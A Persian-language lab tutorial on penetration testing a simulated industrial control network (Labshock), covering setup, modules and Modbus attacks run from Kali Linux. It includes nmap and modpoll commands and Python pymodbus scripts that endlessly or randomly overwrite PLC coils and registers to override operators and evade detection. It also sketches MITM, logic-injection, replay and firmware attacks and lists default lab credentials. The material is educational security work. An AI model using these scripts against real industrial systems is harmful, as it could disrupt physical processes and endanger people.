tel 021 - 91094270‏ tel office[at]amnafzar.net

ارزیابی امنیتی و تست نفوذ شبکه صنعتی (OT & ICS) در محیط Labshock: راهنمای تست نفوذ عملی

ارزیابی امنیتی و تست نفوذ شبکه صنعتی (OT & ICS) در محیط  Labshock: راهنمای تست نفوذ عملی

۱۴۰۴/۰۶/۳۱

ارزیابی امنیتی و تست نفوذ شبکه صنعتی (OT & ICS) در محیط Labshock: راهنمای تست نفوذ عملی

فهرست مطالب


چکیده اجرایی

در عصری که زیرساخت‌های حیاتی مانند نیروگاه‌ها، پالایشگاه‌ها و خطوط تولید بیش از پیش به فناوری‌های دیجیتال وابسته‌اند، تهدیدات سایبری علیه سیستم‌های کنترل صنعتی (ICS) و فناوری عملیاتی (OT) به یکی از چالش‌های اصلی تبدیل شده‌اند. پلتفرم متن‌باز Labshock  به‌عنوان یک Cyber Range قدرتمند، امکان شبیه‌سازی محیط‌های OT/ICS را فراهم می‌کند تا متخصصان بتوانند بدون ریسک آسیب به تجهیزات واقعی، سناریوهای حمله و دفاع را آزمایش کنند. این گزارش فرآیند نصب و راه‌اندازی  Labshock، بررسی معماری و ماژول‌های آن، اجرای مجموعه‌ای از حملات سایبری هدفمند با ابزارهای Kali Linux، و تحلیل نتایج را به‌صورت جامع شرح می‌دهد. از حملات ساده مانند دستکاری Coil تا تکنیک‌های پیشرفته‌تر مانند تزریق منطق مخرب و راهنمایی عملی برای تقویت امنیت زیرساخت‌های صنعتی ارائه می‌دهد. همچنین تصاویر و اسکرین‌شات‌ها برای مستندسازی دقیق مراحل و نتایج در بخش‌های مربوطه قرار داده شده است.


مقدمه: چرا امنیت OT/ICS اینقدر حیاتی است؟

تصور کنید یک خط تولید خودرو به دلیل دستکاری سایبری متوقف شود، یا یک پمپ آب در تصفیه‌خانه از کار بیفتد و شهر را با بحران مواجه کند. این سناریوها دیگر فقط داستان‌های علمی-تخیلی نیستند؛ حملاتی مثل Stuxnet(2010) و حمله به شبکه برق اوکراین (۲۰۱۵) نشان داده‌اند که سیستم‌های OT/ICS می‌توانند هدف مهاجمان سایبری قرار بگیرند. برخلاف شبکه‌های IT که تمرکز اصلی‌شان روی محرمانگی (Confidentiality) داده‌هاست، در OT اولویت با دسترسی‌پذیری (Availability) و یکپارچگی (Integrity) فرآیندهای فیزیکی است. یک نقص کوچک می‌تواند خسارات مالی، زیست‌محیطی یا حتی جانی به همراه داشته باشد.

پروتکل‌های قدیمی مثل Modbus TCP ، DNP3 و S7comm که در دهه‌های گذشته طراحی شده‌اند، اغلب فاقد احراز هویت (Authentication) یا رمزنگاری (Encryption) هستند. این یعنی یک مهاجم با دسترسی به شبکه می‌تواند به راحتی دستورات مخرب ارسال کند. همگرایی  IT/OT (IT/OT Convergence) هم سطح حمله (Attack Surface) را گسترش داده و نیاز به آزمایش‌های عملیاتی را بیشتر کرده است. اینجا جایی است که Labshock  وارد بازی می‌شود – یک محیط شبیه‌سازی متن‌باز که با استفاده از Docker، یک شبکه صنعتی کامل را شبیه‌سازی می‌کند و به ما اجازه می‌دهد حملات را تست کنیم، نقاط ضعف را پیدا کنیم و راهکارهای دفاعی را ارزیابی کنیم.

هدف این مستند این است که با زبانی ساده اما فنی، شما را با Labshock، کاوش در ماژول‌های آن، و اجرای حملات سایبری آشنا کند. چه یک کارشناس عمومی باشید که تازه وارد دنیای OT شده و چه یک متخصص ارشد که به دنبال تکنیک‌های پیشرفته است، این گزارش مطالب بروز و ارزشمندی برای ارائه به شما دارد.

بخش اول: نصب و راه‌اندازی  Labshock

پیش‌نیازها

برای شروع، به یک سیستم با مشخصات زیر نیاز دارید:

  • سیستم‌عامل: Ubuntu 20.04 یا بالاتر (هر لینوکس مدرن یا حتی Windows/Mac با  Docker Desktop)
  • منابع سخت‌افزاری: 

1. CPU : حداقل ۴ هسته (توصیه‌شده: ۸ هسته با Virtualization Extensions)
2. RAM : حداقل ۸ گیگابایت (توصیه‌شده: ۱۶ گیگابایت)
3. فضای ذخیره‌سازی: ۲۰ گیگابایت (توصیه‌شده: ۵۰ گیگابایت SSD)

  • نرم‌افزار: Docker Engine (نسخه ≥20.10) و Docker Compose (نسخه ≥1.29)
  • شبکه:  دسترسی به پورت‌های 80، 443، 502 (Modbus)، 8080، و غیره

مراحل نصب  Labshock

1.    کلون کردن مخزن:

git clone https://github.com/zakharb/labshock.git

cd labshock

2.    اجرای کانتینرها(با VPN روشن):

docker compose up -d --build

راه‌اندازی پروژه LabShock و اجرای کانتینرها از طریق Docker Compose

راه‌اندازی پروژه LabShock و اجرای کانتینرها از طریق Docker Compose

این دستور تمام کانتینرها ( PLC، SCADA، IDS و غیره) را در حالت Detached بالا می آورد. با docker ps  مطمئن بشوید همه کانتینرها در وضعیت Up هستند.

3.    دسترسی به پرتال:  برای دسترسی به پنل، با نام کاربری labshock و کلمه عبور labshock به آدرس http://localhost وارد شوید.
 

صفحه لاگین پورتال LabShock روی هاست محلی (http://localhost)

صفحه لاگین پورتال LabShock روی هاست محلی (http://localhost)

نمایی از پورتال صنعتی Labshock با دسترسی به سرویس‌های  SCADA، PLC، EWS، PENTEST ،IDS ،LOGS

نمایی از پورتال صنعتی Labshock با دسترسی به سرویس‌های  SCADA، PLC، EWS، PENTEST ،IDS ،LOGS

معماری شبکه  Labshock

Labshock  از یک معماری دوبخشی (Dual-Segment) استفاده می‌کند که Purdue Model  را شبیه‌سازی می‌کند:

  • l2_network (192.168.2.0/24) : لایه عملیاتی (OT) با سرویس‌هایی همانند PLC و  SCADA.
  • l3_network (192.168.3.0/24) : لایه مدیریتی (IT/DMZ) همراه SIEM و فایروال.
  • روتر مجازی:  با  IPهای 192.168.2.254 و 192.168.3.254 این دو شبکه (l2_network و l3_network) را متصل می‌کند.

جدول آدرس‌دهی سرویس‌ها:

 IP  اختصاصی شبکه سرویس
192.168.2.10 l2_network PLC (OpenPLC)
192.168.3.20 l3_network SCADA (FUXA)
192.168.3.11 l3_network EWS
192.168.3.30 l3_network Pentest Fury
192.168.3.240 l3_network Collector

این جداسازی باعث می‌ شود سناریوهای حمله واقعی‌تر جلوه کند.

 

بخش دوم: کاوش در ماژول‌های  Labshock

پرتال Labshock چهار تب اصلی دارد: OT، DMZ، IT  وdocs  . در ادامه هر کدام را با جزئیات بررسی می کنیم.

تب :OT قلب تپنده عملیات صنعتی

تب OT حساس‌ترین لایه شبکه‌است و قسمتی است که در آن فرایندهای صنعتی شبیه‌سازی شده و فرآیند‌های فیزیکی کنترل می‌شوند.

  • SCADA (Supervisory Control and Data Acquisition) : رابط انسان و ماشین (HMI) سیستم که وضعیت فرآیند (مانند دو پمپ شبیه‌سازی شده) را به صورت گرافیکی نمایش می‌دهد و به اپراتور اجازه کنترل می‌دهد. این همان نقطه‌ای است که نتایج حملات به صورت بصری قابل مشاهده خواهد بود.

با کلیک رویSCADA  یا رفتن به آدرسhttp://localhost:1881  وارد محیط مربوطه می‌شویم. در حالت پیش‌فرض دو پمپ (Pump 1 وPump 2 ) با قابلیت on/off داریم.

رابط گرافیکی HMI در محیط SCADA

رابط گرافیکی HMI در محیط SCADA

 

 در منوی پایین سمت چپ قسمت Editor قرار گرفته است که در آن قادر به تنظیم موارد زیر هستیم:

  • User Interface  : تنظیم View و Layout برای HMIو ...
  • Misc : مدیریت اتصالات (Connection)، نقش‌ها (RBAC )، کاربران و پلاگین‌ و ...
  • Logic : تنظیم  Alarmها و Notificationها. پشتیبانی از پروتکل‌های صنعتی (Modbus TCP/RTU ، S7، OPC-UA ،MQTT ) و قابلیت مانیتورینگ بلادرنگ و ...

بخش Editor، امکان تنظیم رابط کاربری HMI، مدیریت کاربران و نقش‌ها، و پیکربندی منطق سیستم شامل آلارم‌ها، نوتیفیکیشن‌ها و پروتکل‌های صنعتی

بخش Editor، امکان تنظیم رابط کاربری HMI، مدیریت کاربران و نقش‌ها، و پیکربندی منطق سیستم شامل آلارم‌ها، نوتیفیکیشن‌ها و پروتکل‌های صنعتی

  • PLC (Programmable Logic Controller) : مغز متفکر فرآیند که منطق کنترل را اجرا می‌کند. Labshock  ازOpenPLC  استفاده می‌کند که پنل مدیریتی کاملی برای مشاهده وضعیت، بارگذاری برنامه و مدیریت دستگاه‌های متصل دارد.

با کلیک رویPLC  یا رفتن به آدرس http://localhost:8080  (نام کاربری:openplc  کلمه عبور: openplc) وارد می‌شویم. تب‌های کلیدی عبارت اند از:

  • Dashboard : مانیتورینگ زنده موتورها و پمپ‌ها.
  • Program : بارگذاری کد به زبان‌های IEC 61131-3 (مثل Ladder Logic ).
  • Slave Devices : پیکربندی Modbus/DNP3.
  • Monitoring : نظارت I/O و تایمرها.
  • Hardware : تنظیمات سخت‌افزار مجازی.
  • Users/Settings : مدیریت دسترسی و شبکه.
  • Start/Stop : کنترل PLC.

پنل Monitoring در OpenPLC، نمایش بلادرنگ وضعیت ورودی/خروجی‌های دیجیتال و آنالوگ، شامل سرعت، فشار و وضعیت شیرهای پمپ

پنل Monitoring در OpenPLC، نمایش بلادرنگ وضعیت ورودی/خروجی‌های دیجیتال و آنالوگ، شامل سرعت، فشار و وضعیت شیرهای پمپ

  • EWS (Engineering Workstation)  : ایستگاه کاری مهندسی که برای برنامه نویسی و برنامه‌ریزی و پیکربندی PLC و SCADA  استفاده می‌شود. این سیستم به دلیل دسترسی سطح بالا به تجهیزاتOT، یکی از اهداف اصلی مهاجمان در سناریوهای واقعی است.

 با کلیک رویEWS  یا رفتن به آدرس http://localhost:5911/vnc.html  (کلمه عبور: engineering) محیطی شبیه Windows 10 با IDE برای OpenPLC و ابزارهای توسعه را مشاهده می‌کنیم. این محیط برای تست سریع تغییرات و اتصال به  SCADA/PLCاستفاده می‌شود.

ایستگاه کاری مهندسی (EWS) با محیطی شبیه Windows 10 و ابزارهای توسعه همانند IDE برای  OpenPLC

ایستگاه کاری مهندسی (EWS) با محیطی شبیه Windows 10 و ابزارهای توسعه همانند IDE برای  OpenPLC

Pentest Fury : این پلتفرم ابزارهای داخلی برای تست نفوذ دارد. با این حال، ما در این مستند از ابزارهای خارجی برای شبیه‌سازی یک حمله واقع‌گرایانه‌تر استفاده خواهیم کرد. با کلیک روی گزینه مربوطه یا رفتن به آدرسhttp://localhost:3443  وارد محیط ذکر شده می‌شویم. ابزارهای زیر در این محیط نصب شده و آماده اجرا هستند:

  • Nmap : اسکن شبکه و هاست.
  • Modbus : دستورات Coil /Register  و Stress Tests  
  • DNP3/S7 : ابزارهای پروتکل‌محور.
  • Hosts/Agents : مدیریت تست‌های توزیع‌شده.

بخشی از محیط Pentest Fury که به اجرای حملات مبتنی بر پروتکل Modbus اختصاص دارد؛ شامل قابلیت‌هایی برای خواندن و نوشتن کویل‌ها، ثبت دائمی یا تصادفی داده‌ها، و تست‌های فشار روی تجهیزات صنعتی. نتایج هر عملیات در کنسول سمت راست قابل مشاهده و تحلیل هستند.

بخشی از محیط Pentest Fury که به اجرای حملات مبتنی بر پروتکل Modbus اختصاص دارد؛ شامل قابلیت‌هایی برای خواندن و نوشتن کویل‌ها،

ثبت دائمی یا تصادفی داده‌ها، و تست‌های فشار روی تجهیزات صنعتی. نتایج هر عملیات در کنسول سمت راست قابل مشاهده و تحلیل هستند.

 

  • IDS (Network Swiftness)  : یک سیستم تشخیص نفوذ داخلی برای نظارت بر ترافیک شبکه OT و شناسایی فعالیت‌های مشکوک مبتنی بر Suricata/Snort  دارد. 
  • با کلیک روی گزینه مربوطه یا http://localhost:1443  وارد IDS می‌شویم که دارای قسمت‌های زیر است:
    • IDS Alerts : هشدارهای بلادرنگ.
    • Live Packets : ترافیک زنده.
    • Host Communication : تحلیل ارتباطات.
    • PCAPs : ذخیره پکت‌ها برای آنالیز.
    • Visual Network View : نمایش توپولوژی.
    • Settings : شخصی‌سازی قوانین.

بخشی از سیستم تشخیص نفوذ داخلی (IDS) که پیام‌های بلادرنگ مربوط به ارتباطات شبکه را نمایش می‌دهد؛ این بخش با ثبت اتصال‌های جدید بین میزبان‌ها، امکان شناسایی فعالیت‌های مشکوک در شبکه OT را فراهم می‌سازد.

بخشی از سیستم تشخیص نفوذ داخلی (IDS) که پیام‌های بلادرنگ مربوط به ارتباطات شبکه را نمایش می‌دهد؛

این بخش با ثبت اتصال‌های جدید بین میزبان‌ها، امکان شناسایی فعالیت‌های مشکوک در شبکه OT را فراهم می‌سازد.

 

  •  Collector و Logs : لاگ‌ها با کامند tail -f /var/log/openplc.log  یا از http://localhost:2443  قابل بررسی‌اند.

تب DMZ : لایه میانی امنیتی

شامل سرویس‌هایی مثل:

  • Firewall Service: بازرسی بسته‌های دارای وضعیت
  • Transfer Service: انتقال امن داده
  • Remote Service: (Jump Server)دسترسی ریموت  
  • Pentest Fury/Tidal Collector/Data Gateway: برای تست و جمع‌آوری داده

تبIT تحلیل و مدیریت: این لایه شامل سرویس‌های استاندارد IT مانند SIEM (Splunk)  برای جمع‌آوری و تحلیل لاگ‌ها از تمام بخش‌های شبکه است. نظارت بر لاگ‌های SIEM یکی از راه‌های اصلی کشف حملات در حال وقوع است. 

شامل:

SIEM (Splunk) : همبسته‌سازی لاگ‌ها برای SOC که از طریق لینک

 http://localhost:8443/en-US/app/launcher/home (نام کاربری:admin  کلمه عبور:‌labshock) قابل دسترس است.

نمایی از محیط Splunk در نقش SIEM. ابزاری برای همبسته‌سازی لاگ‌ها و تحلیل داده‌های امنیتی در مرکز عملیات امنیت (SOC)؛ با قابلیت دسترسی به اپلیکیشن‌های تحلیلی، داشبوردها و هشدارها برای پایش و پاسخ‌گویی سریع به تهدیدات سایبری

نمایی از محیط Splunk در نقش SIEM. ابزاری برای همبسته‌سازی لاگ‌ها و تحلیل داده‌های امنیتی در مرکز عملیات امنیت (SOC)؛

با قابلیت دسترسی به اپلیکیشن‌های تحلیلی، داشبوردها و هشدارها برای پایش و پاسخ‌گویی سریع به تهدیدات سایبری

 

  • OT Data Service : ذخیره داده‌های صنعتی (Historian)
  • Remote Service : مدیریت دسترسی

تب Docs : راهنمای کامل 

مستندات فنی و FAQ برای پیکربندی و عیب‌یابی.
 

بخش سوم: اجرای حملات سایبری با استفاده از  Kali Linux

برای شبیه‌سازی یک مهاجم واقعی، به جای ابزارهای داخلی  Labshock ازKali Linux  استفاده می‌کنیم که به شبکه Docker  متصل است. حملات روی پروتکل Modbus TCP متمرکز است، چرا که این پروتکل به دلیل فقدان احراز هویت و رمزنگاری، آسیب‌پذیر است.

فاز شناسایی :(Reconnaissance)

در ابتدا با استفاده از ابزار nmap شبکه را نقشه برداری می‌کنیم: nmap -sS -p- -sV -O -A 192.168.2.0/24

 

  •  sS- : اجرایSYN  اسکن یا "نیمه‌باز" که سریع و نسبتاً مخفیانه است؛ برای شناسایی پورت‌های باز بدون برقراری اتصال کامل.
  • -p- : اسکن تمام پورت‌های ممکن (از ۱ تا ۶۵۵۳۵) برای هر هاست.
  • sV- : تشخیص نسخه سرویس‌های فعال روی پورت‌های باز.
  • O- : تلاش برای شناسایی نوع سیستم‌عامل هدف.
  • A- : فعال‌سازی مجموعه‌ای از قابلیت‌های پیشرفته شامل تشخیص نسخه، سیستم‌عامل، اسکریپت‌های پیش‌فرض و traceroute
  • 192.168.2.0/24 : محدوده آدرس‌های IP در یک شبکه کلاس C شامل ۲۵۴ هاست (از 192.168.2.1 تا 192.168.2.254).

با استفاده از ابزار Nmap، شبکه مورد بررسی قرار گرفته و تارگت 192.168.2.10 با پورت‌های باز 502 و 8080 شناسایی شده است؛ پورت 502 به‌عنوان درگاه اصلی پروتکل Modbus اهمیت بالایی دارد و می‌تواند نقطه شروعی برای تحلیل انواع آسیب‌پذیری‌ و حمله‌های صنعتی باشد.

با استفاده از ابزار Nmap، شبکه مورد بررسی قرار گرفته و تارگت 192.168.2.10 با پورت‌های باز 502 و 8080 شناسایی شده است؛

پورت 502 به‌عنوان درگاه اصلی پروتکل Modbus اهمیت بالایی دارد و می‌تواند نقطه شروعی برای تحلیل انواع آسیب‌پذیری‌ و حمله‌های صنعتی باشد.

نکته مهم در محیط  ICS

در دنیای واقعی، اسکن سنگین مثل -p-  و-A  روی PLC ممکنه باعث کرش یا از کار افتادن دستگاه بشود.

ولی در Labshock در محیط شبیه ساز قرار داریم و می‌توانیم از پارامترهای مذکور استفاده کنیم.

پیشنهاد:

1.    ابتدا شروع به کشف Live Hosts در شبکه می‌کنیم.
nmap -sn 192.168.2.0/24

  • sn- :  اجرای اسکن بدون بررسی پورت‌ها؛ فقط بررسی می‌کند که کدام دستگاه‌ها در شبکه روشن و قابل دسترسی هستند .

2.    سپس هر آی‌پی کشف شده را جداگانه اسکن می‌کنیم.

nmap -sS -p- -sV -O -A 192.168.2.10
nmap -sS -p- -sV -O -A 192.168.3.20

برای شناسایی دستگاه‌های Modbus :

https://www.modbusdriver.com/modpoll.html

ابزار modpoll  یک شبیه‌ساز خط فرمان برای پروتکل Modbus است که به‌عنوان Modbus Master عمل می‌کند و برای تست، دیباگ، خواندن و نوشتن داده تجهیزات صنعتی مانند PLC و سنسور استفاده می‌شود. این ابزار از Modbus RTU،TCP  و UDP پشتیبانی می‌کند و در محیط‌های صنعتی و آزمایشگاهی کاربرد دارد.

./modpoll -m tcp -t 0 -r 1 -c 10 192.168.2.10

 m tcp- :  استفاده از پروتکل Modbus TCP برای اتصال.
t 0- : نوع داده خوانده‌شده ، در اینجا  Holding Registerاست.
r 1- :  شروع خواندن از آدرس رجیستر شماره 1.
c 10- :  تعداد 10 رجیستر، متوالی خوانده می‌شود.
192.168.2.10 :  آدرس IP دستگاه مقصد (Slave).
 

در این تصویر، خروجی ابزار modpoll نشان می‌دهد که کویل شماره [1]: 1 فعال (روشن) است، در حالی که کویل [2]: 0 غیرفعال (خاموش) باقی مانده؛ این وضعیت می‌تواند نشان‌دهنده عملکرد یک تجهیز صنعتی مانند پمپ یا شیر باشد.

در این تصویر، خروجی ابزار modpoll نشان می‌دهد که کویل شماره [1]: 1 فعال (روشن) است، در حالی که کویل [2]:

0 غیرفعال (خاموش) باقی مانده؛ این وضعیت می‌تواند نشان‌دهنده عملکرد یک تجهیز صنعتی مانند پمپ یا شیر باشد.

 

حملات روی Coil و Register

در ادامه ازmodpoll  برای حملات ساده و از اسکریپت‌های سفارشی Python برای حملات پیشرفته استفاده می‌کنیم.

۱. حمله  Read Coil :

هدف: استخراج وضعیت دیجیتال (مثل روشن/خاموش بودن پمپ) برای جمع‌آوری اطلاعات بدون ایجاد تغییر.

modpoll -m tcp -t 0 -r 1 -c 10 192.168.2.10

خروجی نشان می‌دهد که کویل‌های [1] و [9] فعال هستند، که در تصویر بعدی نیز با روشن بودن پمپ در محیط SCADA تأیید می‌شود.

خروجی نشان می‌دهد که کویل‌های [1] و [9] فعال هستند، که در تصویر بعدی نیز با روشن بودن پمپ در محیط SCADA تأیید می‌شود.

پمپ‌های 1 و 2 با نشانگرهای فعال مشخص شده‌اند، که با داده‌های استخراج‌شده از حمله Read Coil در modpoll (کویل‌های [1] و [9] فعال) مطابقت دارد

پمپ‌های 1 و 2 با نشانگرهای فعال مشخص شده‌اند، که با داده‌های استخراج‌شده از حمله Read Coil در modpoll (کویل‌های [1] و [9] فعال) مطابقت دارد.

۲. حمله  Write Coil

هدف: تغییر وضعیت یک Coil (مثلاً خاموش کردن پمپ) برای اختلال در فرآیند.

./modpoll -m tcp -t 0 -r 1 192.168.2.10 0

اجرای حمله Write Coil برای تغییر وضعیت کویل شماره 1 به مقدار 0 که این عملیات باعث خاموش شدن پمپ در سیستم هدف شده که در تصویر بعدی محیط SCADA نیز با غیرفعال شدن پمپ تأیید می‌شود.

اجرای حمله Write Coil برای تغییر وضعیت کویل شماره 1 به مقدار 0 که این عملیات باعث خاموش شدن پمپ در سیستم هدف شده

که در تصویر بعدی محیط SCADA نیز با غیرفعال شدن پمپ تأیید می‌شود.

نمایی از محیط SCADA پس از اجرای حمله Write Coil که مقدار کویل شماره 1 به 0 تغییر داده شده است. در نتیجه، پمپ 1 خاموش شده و نشانگر وضعیت آن غیرفعال است که این عملیات تأیید بصری بر تأثیر مستقیم دستورات modpoll در اختلال فرآیند صنعتی دارد.

نمایی از محیط SCADA پس از اجرای حمله Write Coil که مقدار کویل شماره 1 به 0 تغییر داده شده است. در نتیجه، پمپ 1 خاموش شده

و نشانگر وضعیت آن غیرفعال است که این عملیات تأیید بصری بر تأثیر مستقیم دستورات modpoll در اختلال فرآیند صنعتی دارد.

۳. حمله  :Permanent Write

هدف:  تثبیت وضعیت Coil حتی پس از تلاش اپراتور برای تغییر آن – یه جور  Cyber-Persistence حساب می شود که در یک حلقه مداوم عملیات Write را انجام می‌دهیم تا تغییرات صورت گرفته توسط اپراتور بازنویسی شود.برای انجام این عملیات یک اسکریپت سفارشی می‌نویسیم.

این اسکریپت با استفاده از کتابخانه pymodbus  به‌عنوان یک Modbus TCP Client  به PLC متصل می‌شود و در یک حلقه بی‌پایان، مقادیر خاصی را به یک Coil و یک Register  می‌نویسد. هدف آن اجرای یک حمله Permanent Write است؛ یعنی تثبیت وضعیت خروجی‌ها به‌گونه‌ای که هرگونه تلاش اپراتور برای تغییر آن‌ها بلافاصله بازنویسی شود.

نصب کتابخانه مورد نیاز:

برای اجرای این اسکریپت، ابتدا باید کتابخانه pymodbus  نصب شود:

pip install pymodbus 

تحلیل کد:

from pymodbus.client import ModbusTcpClient 

وارد کردن کلاس ModbusTcpClient  برای ایجاد اتصال TCP با PLC 

PLC_IP = "192.168.2.10" 
PLC_PORT = 502 

تعریف آدرس IP و پورت استاندارد Modbus برای اتصال به PLC

client = ModbusTcpClient(PLC_IP, port=PLC_PORT) 

ایجاد شیء اتصال به PLC 

if client.connect():

بررسی موفقیت اتصال و آغاز حمله.

while True:
client.write_coil(0, False)
client.write_register(10, 100)
time.sleep(0.5)

در این حلقه بی‌پایان:

  • مقدار False (خاموش) به Coil شماره 0 نوشته می‌شود؛ مثلاً خاموش کردن یک پمپ.
  • مقدار 100 به Register شماره 10 نوشته می‌شود؛ مثلاً تنظیم سرعت یا فشار.
  • این عملیات هر 0.5 ثانیه تکرار می‌شود تا هرگونه تغییر توسط اپراتور بلافاصله بازنویسی شود.

در صورت عدم اتصال، پیام خطا نمایش داده می‌شود.


حمله Permanent Write با استفاده از اسکریپت Python و کتابخانه pymodbus

حال با دستور python permanent-write.py اسکریپت را اجرا می‌کنیم:

اجرای این اسکریپت را مشاهده می‌کنیم که پیام‌های مربوط به نوشتن Coil و Register به‌صورت مداوم چاپ می‌شوند.

اجرای این اسکریپت را مشاهده می‌کنیم که پیام‌های مربوط به نوشتن Coil و Register به‌صورت مداوم چاپ می‌شوند.

 

هم اکنون اگر اپراتور SCADA دما و یا وضعیت پمپ را تغییر دهد، تغییرات اپراتور بلافاصله توسط اسکریپت نوشته شده بازنویسی می‌شوند. 

 

محیط SCADA نشان می‌دهد که نشانگر سوئیچ پمپ 1 فعال است (وضعیت منطقی TRUE)، اما در واقعیت پمپ 1 خاموش می‎باشد. این تناقض ناشی از حمله Permanent Write است که وضعیت واقعی را با نوشتن مداوم مقدار False به Coil پنهان کرده است.

محیط SCADA نشان می‌دهد که نشانگر سوئیچ پمپ 1 فعال است (وضعیت منطقی TRUE)، اما در واقعیت پمپ 1 خاموش می‎باشد.

این تناقض ناشی از حمله Permanent Write است که وضعیت واقعی را با نوشتن مداوم مقدار False به Coil پنهان کرده است.

 

۴. حمله :Random Write

هدف : ایجاد رفتار تصادفی برای سردرگم کردن اپراتور و تولید آلارم‌های ناخواسته.

یکی از حملات شایع بر روی ICS حمله Random Write است، یعنی در هر لحظه مقادیر تصادفی در PLC نوشته می شود. روش کار به این صورت است که در یک حلقه مداوم، به‌طور تصادفی یک کویل یا رجیستر انتخاب شده و مقدار تصادفی در آن نوشته می شود:

import time
import random
from pymodbus.client import ModbusTcpClient

وارد کردن کتابخانه‌های مورد نیاز:

  • time  برای ایجاد تأخیر بین عملیات‌ها.
  • random  برای انتخاب تصادفی هدف (کویل یا رجیستر) و مقدار.
  • ModbusTcpClient جهت برقراری ارتباط TCP با PLC

PLC_IP = "192.168.2.10"
PLC_PORT = 502

تعریف آدرس IP و پورت استاندارد Modbus برای اتصال به PLC

client = ModbusTcpClient(PLC_IP, port=PLC_PORT)

ایجاد شیء ارتباطی برای اتصال به PLC

if client.connect():

بررسی موفقیت اتصال و آغاز حمله در صورت برقراری ارتباط.

while True:
target = random.choice(["coil", "register"])

در هر چرخه از حلقه بی‌پایان، هدف حمله به‌صورت تصادفی بین کویل یا رجیستر انتخاب می‌شود.

if target == "coil":
address = random.randint(0, 9)
value = random.choice([True, False])
rr = client.write_coil(address, value)

در صورت انتخاب کویل:

  • یک آدرس تصادفی بین ۰ تا ۹ انتخاب می‌شود.
  • مقدار تصادفی (True/False) در آن نوشته خواهد شد؛ مانند روشن یا خاموش شدن یک پمپ یا شیر.

else:
address = random.randint(0, 9)
value = random.randint(0, 5000)
rr = client.write_register(address, value)

در صورت انتخاب رجیستر:

  • یک آدرس تصادفی بین ۰ تا ۹ انتخاب می‌شود.
  • مقدار عددی تصادفی (بین ۰ تا ۵۰۰۰) در آن نوشته می‌شود؛ مثلاً تغییر ناگهانی فشار یا دمای سیستم.

time.sleep(random.uniform(0.5, 2.0))

ایجاد تأخیر تصادفی بین ۰.۵ تا ۲ ثانیه برای هر عملیات؛ این امر موجب می‌گردد حمله طبیعی‌تر جلوه کرده و شناسایی آن توسط سیستم‌های تشخیص نفوذ (IDS/IPS) دشوارتر شود.

نمونه‌ای از حمله Random Write با استفاده از اسکریپت Python؛ روشی مؤثر برای ایجاد آلارم‌های ناخواسته و اختلال در فرآیند صنعتی

نمونه‌ای از حمله Random Write با استفاده از اسکریپت Python؛ روشی مؤثر برای ایجاد آلارم‌های ناخواسته و اختلال در فرآیند صنعتی

نمایی از محیط SCADA پس از اجرای حمله Random Write؛ نوسانات غیرعادی در نمودار فشار و جریان، و خاموش بودن ناگهانی پمپ 1 در حالی که پمپ 2 فعال است، نشان‌دهنده تأثیر مستقیم دستورات تصادفی روی رفتار سیستم است.

نمایی از محیط SCADA پس از اجرای حمله Random Write؛ نوسانات غیرعادی در نمودار فشار و جریان،

و خاموش بودن ناگهانی پمپ 1 در حالی که پمپ 2 فعال است، نشان‌دهنده تأثیر مستقیم دستورات تصادفی روی رفتار سیستم است.

 

علاوه بر حملات ذکر شده، سناریوهای پیچیده‌تری هم وجود دارد که می‌توانند به شدت خطرناک باشند:

 Man-in-the-Middle (MITM) : با ابزارهایی همانند Ettercap  و یا  Scapy ، می توان ترافیک Modbus را دستکاری کرد. به عنوان مثال با اجرای حمله ARP Spoofing  ، مهاجم می‌تونه بین SCADA و PLC قرار گرفته و دستورات جعلی ارسال کند.

 شبه کد:

نمونه‌ای از حمله Man-in-the-Middle با استفاده از کتابخانه Scapy؛ مهاجم با اجرای ARP Spoofing بین SCADA و PLC قرار گرفته و با شنود و دستکاری بسته‌های Modbus TCP، امکان ارسال دستورات جعلی یا تغییر داده‌ها را فراهم می کند.

نمونه‌ای از حمله Man-in-the-Middle با استفاده از کتابخانه Scapy؛ مهاجم با اجرای ARP Spoofing بین SCADA و PLC قرار گرفته و با شنود

و دستکاری بسته‌های Modbus TCP، امکان ارسال دستورات جعلی یا تغییر داده‌ها را فراهم می کند.

 

Ladder Logic Injection : تزریق کد مخرب به برنامه PLC برای ایجاد  Backdoor .

برنامه‌های PLC که به صورت Ladder Logic نوشته می‌شوند، معمولاً یا در قالب فایل‌هایی مانند ‎.lad‎ ذخیره می‌شوند، یا از طریق محیط‌های مهندسی (Engineering Software) روی PLC بارگذاری می‌گردند. یک مهاجم می‌تواند این فایل یا پروژه را تغییر داده و کد مخرب خود را به آن اضافه کند. برای انجام چنین تغییری لازم است از ابزارهای اختصاصی PLC مانند TIA Portal (زیمنس) یا RSLogix (راک‌ول) استفاده شود. در تصویر زیر، یک نمونه شبه‌کد از نحوه اجرای این نوع حمله نمایش داده شده است.

نمونه‌ای از حمله Ladder Logic Injection؛ مهاجم با ویرایش فایل .lad و افزودن شرطی مانند «اگر تایمر > ۱۰ ثانیه، خروجی پمپ را فعال کن»، یک backdoor در منطق کنترلی PLC ایجاد می‌کند. این تغییر به‌سادگی می‌تواند بدون جلب توجه اپراتور اجرا شود و فرآیند صنعتی را از کنترل خارج کند.

نمونه‌ای از حمله Ladder Logic Injection؛ مهاجم با ویرایش فایل .lad و افزودن شرطی مانند «اگر تایمر > ۱۰ ثانیه، خروجی پمپ را فعال کن»،

یک backdoor در منطق کنترلی PLC ایجاد می‌کند. این تغییر به‌سادگی می‌تواند بدون جلب توجه اپراتور اجرا شود و فرآیند صنعتی را از کنترل خارج کند.

Replay Attack  : ضبط دستورات معتبر با Wireshark و بازپخش آنها برای تغییر وضعیت.

در تصویر زیر می‌توانید شبه کد اجرای این حمله را مشاهده کنید:

نمونه‌ای از حمله Replay؛ مهاجم یک پکت معتبر Modbus (مثلاً فرمان روشن‌کردن پمپ) را با Wireshark یا Scapy ضبط کرده و همان بسته را دوباره ارسال می‌کند. این حمله ساده اما مؤثر است و باعث اجرای مجدد دستورات حیاتی بدون نیاز به احراز هویت یا تغییر کد می‌شود.

نمونه‌ای از حمله Replay؛ مهاجم یک پکت معتبر Modbus (مثلاً فرمان روشن‌کردن پمپ) را با Wireshark یا Scapy ضبط کرده و

همان بسته را دوباره ارسال می‌کند. این حمله ساده اما مؤثر است و باعث اجرای مجدد دستورات حیاتی بدون نیاز به احراز هویت یا تغییر کد می‌شود.

 

Firmware Hijacking :  پچ کردن Firmware PLC برای غیرفعال کردن Safety Interlocks  .

تغییر Firmware اصلی PLC و غیرفعال‌کردن safety . در تصویر زیر می‌توانید شبه کد اجرای این حمله را مشاهده کنید: 

